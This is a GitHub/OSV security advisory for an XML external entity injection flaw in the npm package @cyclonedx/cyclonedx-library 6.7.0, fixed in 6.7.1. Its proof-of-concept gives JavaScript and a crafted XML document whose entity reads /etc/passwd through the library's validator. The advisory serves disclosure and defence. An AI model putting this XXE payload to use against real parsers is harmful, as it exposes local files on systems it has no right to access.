GHSA-38gf-rh2w-gmj7

Suggest an improvement
Source
https://github.com/advisories/GHSA-38gf-rh2w-gmj7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/05/GHSA-38gf-rh2w-gmj7/GHSA-38gf-rh2w-gmj7.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-38gf-rh2w-gmj7
Aliases
Related
Published
2024-05-08T19:55:37Z
Modified
2024-05-14T20:01:46Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability
Details

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- &lt;&lt; XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1.

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

Database specific
{
    "nvd_published_at": "2024-05-14T15:38:40Z",
    "cwe_ids": [
        "CWE-611"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-08T19:55:37Z"
}
References

Affected packages

npm / @cyclonedx/cyclonedx-library

Package

Name
@cyclonedx/cyclonedx-library
View open source insights on deps.dev
Purl
pkg:npm/%40cyclonedx/cyclonedx-library

Affected ranges

Type
SEMVER
Events
Introduced
6.7.0
Fixed
6.7.1

Affected versions

6.*

6.7.0